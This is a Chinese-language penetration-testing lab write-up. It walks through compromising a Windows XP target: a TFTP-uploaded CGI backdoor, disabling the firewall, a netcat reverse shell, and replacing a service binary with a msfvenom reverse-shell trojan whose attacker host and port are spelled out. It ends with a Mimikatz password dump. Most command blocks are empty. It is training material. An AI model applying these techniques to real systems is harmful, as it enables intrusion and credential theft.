主机探测
ip为192.168.31.9
端口扫描
[!attention] 这里需要注意信息收集的全面性,之前都是使用
-p-
,这个参数默认是扫描的tcp端口,如果要扫描udp端口,需要带上参数-sU
udp端口发现tftp服务
[!note] TFTP(Trivial File Transfer Protocol,简易文件传输协议)是一种简单的文件传输协议,通常用于在本地网络中传输小文件,比如配置文件、引导文件和固件等。TFTP 比较轻量级,实现简单,使用较少的资源,但功能和安全性都较为有限,比如没有数据加密传输。
常用命令:
- put 上传
- get 下载
端口渗透
21 端口
可以匿名登录,发现三个文件夹,不过都无法下载下来
分别进入查看文件夹里的内容
[!note]
cgi-bin
文件夹在 Web 服务器中通常用于存放 CGI(Common Gateway Interface,通用网关接口)脚本。脚本可以是用多种编程语言编写的,如 Perl、Python、Bash 甚至 C 等。这些脚本用于处理 Web 服务器接收到的用户请求,通常用于生成动态内容。
22&23端口
ssh和telnet登录都需要账密
80 端口
没有有用信息,目录扫描也没结果
69端口上传cgi后门
tftp无法回显当前目录的内容,尝试上传文件,发现能够成功上传
扫目录看能不能扫出来我们上传的这个文件
在网站中访问这个文件
既然可以上传文件,尝试能不能phpinfo()
看上去这个网站没办法解析php
再次ftp登录,看文件上传之后的存放位置,发现是在root
文件夹下
由于cgi-bin
文件夹通常存放处理用户请求的脚本,于是想到尝试上传脚本文件到cgi-bin
文件夹
脚本内容:
|
|
可以通过 HTTP GET 请求访问该脚本,并在 URL 参数中传递命令
传入ls
没有回显,传入dir
则有,说明是Windows系统
成功证明可以在靶机上执行命令了
nc反弹shell
尝试执行反弹shell的命令,但是没有成功,开始排查原因
|
|
靶机和攻击机处于同一内网中,按道理来说是相互通的,但是靶机可以ping通攻击机,攻击机却无法ping通靶机,于是想到靶机可能开了防火墙
|
|
- Operational mode:
Enable
表示防火墙是启用的
关闭防火墙
|
|
传入反弹shell的命令,不过依然失败,尝试换其他的反弹shell的方式,使用netcat
这里使用的是netcat-win32-1.12
,上传nc.exe
[!attention] 这里注意,要上传的是exe文件,在tftp上传的时候,需要先切换成
binary
模式
反弹shell的命令:
|
|
成功反弹
[!note] 在Windows XP上无法使用
whoami
命令,一般用echo %userdomain%
或者echo %username%
提权
查看当前登录用户的权限信息
可以看到当前用户是管理员组的 添加用户
使用这个账密登录上去
本来打算用这个账号登录上去之后,使用at
命令启动system shell
|
|
例如这样
但是显示不允许,寻找其他提权思路 查看进程信息,看有哪些进程是以SYSTEM权限启动的
|
|
这里注意到这三个网络服务
FileZilla server.exe
FreeSSHDService.exe
OpenTFTPServerMT.exe
对应去寻找服务名称
选择其中一个服务入手,接下来就是去寻找程序的绝对路径。
比如,找FileZilla server.exe
的绝对路径,然后使用木马程序替换它
|
|
FileZilla server.exe
的绝对路径为:C:\Program Files\FileZilla Server\FileZilla server.exe
暂停该服务
|
|
生成木马
|
|
msfvenom
:Metasploit 框架的一个模块,用于生成恶意 payload-p windows/shell_reverse_tcp
:指定 payload 类型。在这种情况下,使用的是windows/shell_reverse_tcp
,即一个Windows系统上的反向 TCP shellLHOST=192.168.2.108
:指定连接的攻击者的主机 IP 地址(监听的地址)LPORT=12500
:指定反向连接要连接到的攻击者主机的端口号-f exe
:指定输出格式为可执行文件(Windows 可执行文件格式)
将这个木马文件上传到靶机中,并将原本的FileZilla server.exe
替换成木马文件
在攻击机上开启监听,并启动服务
|
|
成功提权
mimikatz抓取用户密码
将猕猴桃上传,进入mimikatz命令交互界面
|
|
读取用户凭证信息
|
|
成功获取到用户alex
的密码
总结
1、信息收集忽略了udp端口的收集,-p-
是默认tcp的全端口扫描,这个靶机的突破点在于69 tftp,如果没有收集到这个信息,会比较难进行下去。
2、要进行rce,这里的方式是上传了cgi后门,一个简单的perl脚本文件,后门不止这一种语言,还可以用c写。
3、反弹shell是用的nc,这里也是经过了一些尝试,最后发现上传nc可以达到目的。反弹shell不成功,我觉得可以先考虑网络,假设反弹shell命令正确,网络条件是否ok,再排查反弹shell的命令是否正确。
4、提权这一步很好理解,就是去找以SYSTEM权限启动的进程,替换成自己的木马。
5、猕猴桃抓取用户密码,熟悉操作就好。